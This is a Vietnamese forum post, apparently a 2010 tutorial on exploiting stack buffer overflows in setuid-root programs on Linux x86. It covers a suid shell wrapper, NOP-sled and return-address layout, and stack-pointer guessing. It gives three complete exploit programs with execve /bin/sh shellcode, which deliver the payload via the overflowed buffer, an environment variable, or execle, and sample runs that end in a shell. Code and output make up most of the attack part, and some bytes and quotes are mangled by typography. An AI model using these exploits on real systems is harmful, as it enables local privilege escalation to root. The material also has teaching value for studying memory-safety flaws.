itprofes
Bạn có muốn phản ứng với tin nhắn này? Vui lòng đăng ký diễn đàn trong một vài cú nhấp chuột hoặc đăng nhập để tiếp tục.

Khai thác lỗi tràn bộ đệm.

Go down

Khai thác lỗi tràn bộ đệm. Empty Khai thác lỗi tràn bộ đệm.

Bài gửi  admin 30/3/2010, 2:49 pm

1. Quyền root và chương trình setuid/setgid
Trên các hệ
điều hành đa người dùng nói chung và UNIX nói riêng, thiết kế truyền
thống cho phép user root (superuser) có quyền tối cao có thể thực hiện
mọi thao tác trên hệ thống. Hơn nữa, có một số thao tác đòi hỏi buộc
phải có quyền root mới có thể thực hiện được, ví dụ thay đổi mật khẩu
(phải cập nhật file /etc/passwd). Để người dùng bình thường có thể thực
hiện được các thao tác này, hệ thống UNIX cung cấp một cơ chế thiết lập
quyền thực tế của tiến trình đang thực thi thông qua các hàm thiết lập
quyền như setuid()/setgid(), seteuid()/setegid(), setruid()/setrgid().
Quyền thực tế sẽ được hệ thống tự động thiết lập thông qua bit thuộc
tính suid/sgid của file chương trình. Ví dụ chương trình passwd được
suid root:
-r-s–x–x 1 root root 12244 Feb 8 2000
/usr/bin/passwd
Khi user bình thường thực thi chương trình,
quyền thực tế có được sẽ là quyền của người sở hữu (owner) file, ở đây
là root. Do yêu cầu sử dụng, trên hệ thống UNIX thường có nhiều file
chương trình được thiết lập thuộc tính suid (cho owner, group). Ví dụ
sau sẽ minh hoạ rõ hơn điều này:
/* suidsh.c */

void
main() {

setuid(0);

system(”/bin/sh”);


}

[SkZ0@gamma
bof]$ gcc -o suidsh suidsh.c

[SkZ0@gamma bof]$ su


Password:

#
chown root.root suidsh

# chmod 4755 suidsh

# exit

[SkZ0@gamma
bof]$ ls -l suidsh

-rwsr-xr-x 1 root root 13637 Mar 26 15:54
suidsh


[SkZ0@gamma bof]$ id

uid=501(SkZ0)
gid=501(SkZ0) groups=501(SkZ0)

[SkZ0@gamma bof]$ ./suidsh

bash#
id

uid=0(root) gid=501(SkZ0) groups=501(SkZ0)

Có thể
thấy, nếu chương trình suid/sgid bị lỗi bảo mật, hacker sẽ tận dụng điều
này để điều khiển chương trình thực hiện mã lệnh bất kỳ trên hệ thống
với quyền cao hơn và thậm chí với quyền cao nhất root. Đó chính là mục
đích của việc khai thác các lỗ hổng bảo mật trên máy tại chỗ (local).
2.
Chương trình bị tràn bộ đệm

Để minh hoạ cách tổ chức và chèn
shellcode vào chương trình bị lỗi, ta sẽ sửa lại một chút chương trình
vuln.c đã ví dụ ở phần 1:
/* vuln1.c */


int
main(int argc, char **argv)

{

char buf[500];

if
(argc>1) {

strcpy(buf, argv[1]);

printf(”%s\n”, buf);

}

}


Kích
thước của bộ đệm buf là 500 byte. Từ những trình bày ở phần trước, để
khai thác lỗi tràn bộ đệm trong chương trình vuln1.c chúng ta chỉ cần
ghi đè giá trị của “con trỏ lệnh bảo lưu” (saved instruction pointer)
được lưu trên stack bằng địa chỉ mã lệnh mong muốn, ở đây chính là địa
chỉ bắt đầu của shellcode. Như vậy chúng ta cần phải sắp xếp shellcode ở
đâu đó trên bộ nhớ stack và xác định địa chỉ bắt đầu của nó.
3.
Tổ chức shellcode trên bộ nhớ

Vấn đề của việc tổ chức shellcode
trên bộ nhớ là làm thế nào để chương trình khai thác lỗi có thể xác định
được địa chỉ bắt đầu của bộ đệm chứa shellcode bên trong chương trình
bị lỗi. Thông thường, ta không thể biết một cách chính xác địa chỉ của
bộ đệm trong chương trình bị lỗi (phụ thuộc vào biến môi trường, tham số
khi thực thi), do đó ta sẽ xác định một cách gần đúng. Điều này có
nghĩa chúng ta phải tổ chức bộ đệm chứa shellcode sao cho khi bắt đầu ở
một địa chỉ có thể lệch so với địa chỉ chính xác mà shellcode vẫn thực
thi không hề bị ảnh hưởng. Lệnh máy NOP (No OPeration) giúp ta đạt được
điều này. Khi gặp một lệnh NOP, CPU sẽ không làm gì cả ngoài việc tăng
con trỏ lệnh đến lệnh kế tiếp.
Như vậy, chúng ta sẽ lấp đầy
phần đầu của bộ đệm bằng các lệnh NOP, kế đó là shellcode. Hơn nữa, để
không phải tính toán chính xác vị trí lưu con trỏ lệnh bảo lưu trên
stack, chúng ta sẽ chỉ đặt shellcode ở khoảng giữa của bộ đệm, phần còn
lại sẽ chứa toàn các giá trị địa chỉ bắt đầu của shellcode. Cuối cùng,
bộ đệm chứa shellcode sẽ có dạng:
Khai thác lỗi tràn bộ đệm. Buffer2
Hình 1: Tổ chức shellcode trên bộ nhớ
Hình sau mô tả trạng thái của stack trước và sau
khi tràn bộ đệm xảy ra.Khai thác lỗi tràn bộ đệm. Dump.jpgHình 2: Trạng thái stack trước và sau
khi tràn bộ đệm

Before After
Có một vấn đề cũng cấn lưu
ý ở đây là sự sắp xếp (alignment) biến trên stack. Giá trị địa chỉ có
độ dài 4 byte (32 bit), vì vậy khi được sắp vào stack không phải lúc nào
cũng chính xác như mong muốn. Ở phần trước chúng ta đã biết stack sử
dụng đơn vị là word có độ dài 4 byte, do đó độ lệch do sắp không đúng sẽ
là 1, 2 hoặc 3 byte.
Chỉ có một trường hợp sắp xếp đúng sẽ làm việc, các
trường hợp khác sẽ dẫn đến báo lỗi “segmentation violation” hoặc
“illegal instruction”, tuy nhiên chúng ta có thể sử dụng phương pháp
“thử và sai” để tìm được sự sắp xếp đúng trong bộ nhớ không mấy khó
khăn.
4. Xác định địa chỉ shellcode

Vấn đề quan trọng
nhất là làm thế nào để “đoán trước” được địa chỉ bắt đầu của bộ đệm chứa
shellcode bên trong chương trình bị lỗi. Nhờ cách tổ chức shellcode với
các NOP ở trên, địa chỉ này chỉ cần gần đúng sao cho rơi vào khoảng
giữa các lệnh NOP trên bộ đệm shellcode.
Một điểm đặc biệt là
mọi chương trình khi thực thi đều có địa chỉ bắt đầu stack như nhau (lưu
ý: trên không gian địa chỉ ảo. Ví dụ: giá trị này trên Linux là
0xbfffffff, trên FreeBSD là 0xbfbfffff) và thường các chương trình ít
khi push vào stack ngay một lúc vài ngàn byte. Do đó, ta có thể đoán
được địa chỉ bắt đầu của bộ đệm chứa shellcode trên stack trong chương
trình bị lỗi dựa vào độ lệch so với địa chỉ đỉnh stack hiện tại của
chương trình khai thác lỗi. Độ lệch này có thể mang giá trị âm hoặc giá
trị dương (xem lại phần 1).
Đoạn chương trình sau sẽ in ra giá
trị của con trỏ stack SP:
/* sp.c */

unsigned long
get_sp(void) {

__asm__(”movl %esp,%eax”);


}

void
main() {

printf(”0x%x\n”, get_sp());

}

[SkZ0@gamma
bof]$ gcc -o sp sp.c

[SkZ0@gamma bof]$ ./sp

0xbffffa50

[SkZ0@gamma
bof]$

Địa chỉ gần đúng của bộ đệm chứa shellcode sẽ được xác
định theo công thức:


SP +(-) OFFSET
5. Viết
chương trình khai thác lỗi tràn bộ đệm

Chúng ta đã biết những gì
cần thiết để khai thác lỗi tràn bộ đệm, bây giờ cần phải kết hợp lại.
Các bước cơ bản của kỹ thuật tràn bộ đệm là: chuẩn bị bộ đệm dùng để làm
tràn (như ở phần trên), xác định địa chỉ trả về (RET) và độ lệch do sắp
biến, xác định địa chỉ của bộ đệm chứa shellcode, cuối cùng gọi thực
thi chương trình bị tràn bộ đệm.
Có một số cách để tổ chức
shellcode trên bộ nhớ và truyền cho chương trình bị lỗi, trước tiên
chúng ta sẽ xem xét phương pháp cơ bản nhất: shellcode được truyền thông
qua bộ đệm của chương trình bị lỗi. Phương pháp này không phải là cách
dễ dàng nhất để khai thác lỗi tràn bộ đệm trên máy tại chỗ (local) nhưng
đây là cách tổng quát nhất để khai thác lỗi tràn bộ đệm tại chỗ cũng
như từ xa.
Xem trong ví dụ trên, shellcode sẽ được tổ chức và
truyền qua bộ đệm buf của chương trình vuln1.c
5.1. Truyền
shellcode qua bộ đệm

Chương trình khai thác lỗi tràn bộ đệm sau
của chúng ta sẽ nhận 3 giá trị tham số: tên chương trình bị lỗi, kích
thước bộ đệm dùng để làm tràn và giá trị độ dời so với con trỏ stack
hiện tại (ví trị dự đoán của bộ đệm chứa shellcode).
/*
exploit1.c */

#include


#define DEFAULT_OFFSET 0

#define
DEFAULT_BUFFER_SIZE 512

#define NOP 0×90 // mã asm của lệnh NOP

char
shellcode[] =

“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\
x6e\x89\xe3\x50″

“\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xb\x31\x
c0\x40\xcd\x80″;

unsigned long get_sp(void) {

__asm__(”movl
%esp,%eax”);

}


void main(int argc, char *argv[]) {

char
*buff, *ptr;

long *addr_ptr, addr;

int
offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

int i;

if
(argc < 2) {

printf(”Usage: %s target [bsize offset]\n”,
argv[0]);

exit(0);


}

if (argc > 2) bsize =
atoi(argv[2]);

if (argc > 3) offset = atoi(argv[3]);

if
(!(buff = malloc(bsize))) {

printf(”Can’t allocate memory.\n”);

exit(0);

}


addr
= get_sp() – offset;

printf(”Using address: 0x%x\n”, addr);

ptr
= buff;

/* lấp đầy bộ đệm làm tràn với các địa chỉ của shellcode
*/

addr_ptr = (long *) ptr;

for (i = 0; i < bsize;
i+=4)

*(addr_ptr++) = addr;

/* lấp đầy nửa đầu vói các
lệnh NOP */


for (i = 0; i < bsize/2; i++)

buff[i] =
NOP;

/* tiếp theo là shellcode */

ptr = buff +
((bsize/2) – (strlen(shellcode)/2));

for (i = 0; i <
strlen(shellcode); i++)

*(ptr++) = shellcode[i];

buff[bsize
- 1] = ‘’;


execl(argv[1],argv[1],buff,NULL);

}

Chương
trình trên cấp phát bộ đệm dùng để làm tràn trên heap, lý do tại sao
xin dành cho người đọc tự trả lời.
Kích thước của bộ đệm dùng
làm tràn lớn hơn so với bộ đệm bị tràn khoảng 100 byte là tốt nhất. Khi
đó bộ đệm làm tràn có phần đầu khá lớn chứa các NOP, phần cuối chứa
shellcode và địa chỉ đủ để làm tràn và ghi đè lên giá trị địa chỉ trả về
(RET).
Hãy thử chương trình khai thác lỗi vừa viết.
[SkZ0@gamma
bof]$ ./exploit1 ./vuln1 600

Using address: 0xbffffa1c

(
… )

bash$

Thử với giá trị độ dời:
[SkZ0@gamma
bof]$ ./exploit1 ./vuln1 600 100

Using address: 0xbffff9a8

(
… )

[SkZ0@gamma bof]$ ./exploit1 ./vuln1 600 -100

Using
address: 0xbffffa70

( … )
bash$
5.2.
Truyền shellcode qua biến môi trường


Bây giờ, hãy quay trở
lại với ví dụ đầu tiên, chương trình vuln.c (xem phần 1). Có thể thấy
chương trình exploit1.c không thể khai thác được lỗi tràn bộ đệm trong
vuln.c do kích thước bộ đệm bị tràn quá nhỏ (16 byte) không đủ để đặt
vừa shellcode. Khi đó địa chỉ trả về sẽ bị ghi đè bởi các mã lệnh thay
vì giá trị địa chỉ cần nhảy đến. Để vượt qua trở ngại này, chúng ta sẽ
dùng một “bộ đệm” khác để lưu trữ shellcode. Thông thường có thể dùng
biến môi trường (environment) hoặc một tham số dòng lệnh chương trình
(argument) để chứa shellcode do các biến này đều được cấp trên stack,
tuy nhiên sử dụng biến môi trường là phương pháp đơn giản và hiệu quả
hơn. Với shellcode được chứa trong biến môi trường, bộ đệm dùng để làm
tràn chỉ đơn giản chứa toàn giá trị địa chỉ (phỏng đoán) của biến môi
trường chứa shellcode.
Chương trình exploit1.c được sửa lại
như sau (có thêm một tham số là kích thước của bộ đệm chứa shellcode).
/*
exploit2.c */

#include

#define DEFAULT_OFFSET 0

#define
DEFAULT_BUFFER_SIZE 512

#define DEFAULT_EGG_SIZE 2048

#define
NOP 0×90 // mã asm của lệnh NOP

char shellcode[] =


“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\
x6e\x89\xe3\x50″

“\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xb\x31\x
c0\x40\xcd\x80″;

unsigned long get_esp(void) {

__asm__(”movl
%esp,%eax”);

}

void main(int argc, char *argv[]) {

char
*buff, *ptr, *egg;

long *addr_ptr, addr;

int
offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;


int i,
eggsize=DEFAULT_EGG_SIZE;

if (argc < 2) {

printf(”Usage:
%s target [bsize offset eggsize]\n”, argv[0]);

exit(0);

}

if
(argc > 2) bsize = atoi(argv[2]);

if (argc > 3) offset =
atoi(argv[3]);


if (argc > 4) eggsize = atoi(argv[4]);

if
(!(buff = malloc(bsize))) {

printf(”Can’t allocate memory.\n”);

exit(0);

}

if
(!(egg = malloc(eggsize))) {

printf(”Can’t allocate memory.\n”);

exit(0);


}

addr
= get_esp() – offset;

printf(”Using address: 0x%x\n”, addr);

/*
bộ đệm làm tràn chỉ chứa toàn địa chỉ shellcode */

ptr = buff;

addr_ptr
= (long *) ptr;

for (i = 0; i < bsize; i+=4)

*(addr_ptr++)
= addr;


/* NOP+shellcode được đặt trong biến môi trường
*/

ptr = egg;

for (i = 0; i < eggsize –
strlen(shellcode) – 1; i++)

*(ptr++) = NOP;

for (i = 0;
i < strlen(shellcode); i++)

*(ptr++) = shellcode[i];

buff[bsize
- 1] = ‘’;


egg[eggsize - 1] = ‘ BOX–>’;

setenv(”EGG”, egg, 1);

execl(argv[1],argv[1],buff,NULL);

}

Hãy
thử chương trình khai thác lỗi mới:
[SkZ0@gamma bof]$
./exploit2 ./vuln

Using address: 0xbffffa18

( … )

bash$

thể thấy cách sử dụng biến môi trường khá hiệu quả. Phương pháp sau
(chỉ áp dụng cho Linux x86) cũng sử dụng biến môi trường để chứa
shellcode nhưng xác định được chính xác địa chỉ của biến môi trường này.
Do đó, ta không cần phải lấp đầy các NOP vào đầu bộ đệm chứa shellcode,
cũng như địa chỉ shellcode được xác định chính xác thay vì phải phỏng
đoán.
Phần địa chỉ cao nhất (tương đương phần đáy của stack)
của một file chương trình ELF, Linux x86 có dạng
Ta thấy, địa chỉ biến môi trường
cuối cùng được tính theo công thức sau:
envpn = 0xBFFFFFFF -

4
– // 4 NULL bytes

strlen(program_name) – // chiều dài chuỗi tên
chương trình

1 – // giá trị null của chuỗi tên chương trình


strlen(envp[n]))
// độ dài của biến môi trường cuối cùng
hay rút gọn:

envpn
= 0xBFFFFFFA – strlen(prog_name) – strlen(envp[n])
Các hàm
gọi thực thi chương trình như execle, execve cho phép truyền con trỏ
biến môi trường cho chương trình được gọi. Tận dụng điều này chúng ta có
thể truyền trực tiếp bộ đệm chứa shellcode cho chương trình bị lỗi
thông qua con trỏ biến môi trường, và tính được chính xác địa chỉ của
nó.
Công thức để tính đia chỉ của shellcode:
addr =
0xBFFFFFFA – strlen(prog_name) – strlen(shellcode);
Chương
trình khai thác lỗi mới được viết như sau:
/* exploit3.c */

#include


#define
DEFAULT_BUFFER_SIZE 512

#define NOP 0×90 // mã asm của lệnh NOP

char
shellcode[] =

“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\
x6e\x89\xe3\x50″

“\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xb\x31\x
c0\x40\xcd\x80″;

void main(int argc, char *argv[]) {

char
*buff, *ptr, *egg;

long *addr_ptr, addr;

int
bsize=DEFAULT_BUFFER_SIZE;


int i;

char *env[2] =
{shellcode, NULL};

if (argc < 2) {

printf(”Usage: %s
target [bsize]\n”, argv[0]);

exit(0);

}

if
(argc > 2) bsize = atoi(argv[2]);


if (!(buff =
malloc(bsize))) {

printf(”Can’t allocate memory.\n”);

exit(0);

}

addr
= 0xbffffffa – strlen(shellcode) – strlen(argv[1]);

printf(”Using
address: 0x%x\n”, addr);

/* bộ đệm làm tràn chỉ chứa toàn địa
chỉ shellcode */

ptr = buff;

addr_ptr = (long *) ptr;


for
(i = 0; i < bsize; i+=4)

*(addr_ptr++) = addr;

buff[bsize
- 1] = ‘’;

execle(argv[1],argv[1],buff,NULL,env);

}

Trong
chương trình trên, chúng ta đã truyền cho chương trình bị lỗi con trỏ
biến môi trường chỉ với một biến duy nhất là bộ đệm chứa shellcode, do
đó độ dài của biến môi trường chính là độ dài của shellcode. Thử chương
trình khai thác lỗi mới này:
[SkZ0@gamma bof]$ ./exploit3
./vuln


Using address: 0xbfffffd4

( … )
bash$
6.
Kết luận

Hy vọng những gì đã trình bày có thể giúp các bạn hiểu
được nguyên nhân và hậu quả dẫn đến của lỗi tràn bộ đệm. Kỹ thuật khai
thác lỗi tràn bộ đệm là hoàn toàn không khó khi đã có cơ sở lý thuyết
hết sức rõ ràng, mặc dù nó đòi hỏi phải có hiểu biết chút ít về ngôn ngữ
lập trình. Việc tránh lỗi bộ đệm xảy ra cũng có thể đạt được không mấy
khó khăn, đó là thực hiện nguyên tắc: tạo các chương trình an toàn ngay
từ khi thiết kế.
admin
admin
Thiếu Úy III
Thiếu Úy III

Tổng số bài gửi : 627
Diem : 6548
Thank : 4
Join date : 24/03/2010
Đến từ : Bỉm Sơn - Thanh hóa

https://itprofes.forumvi.com

Về Đầu Trang Go down

Về Đầu Trang

- Similar topics

 
Permissions in this forum:
Bạn không có quyền trả lời bài viết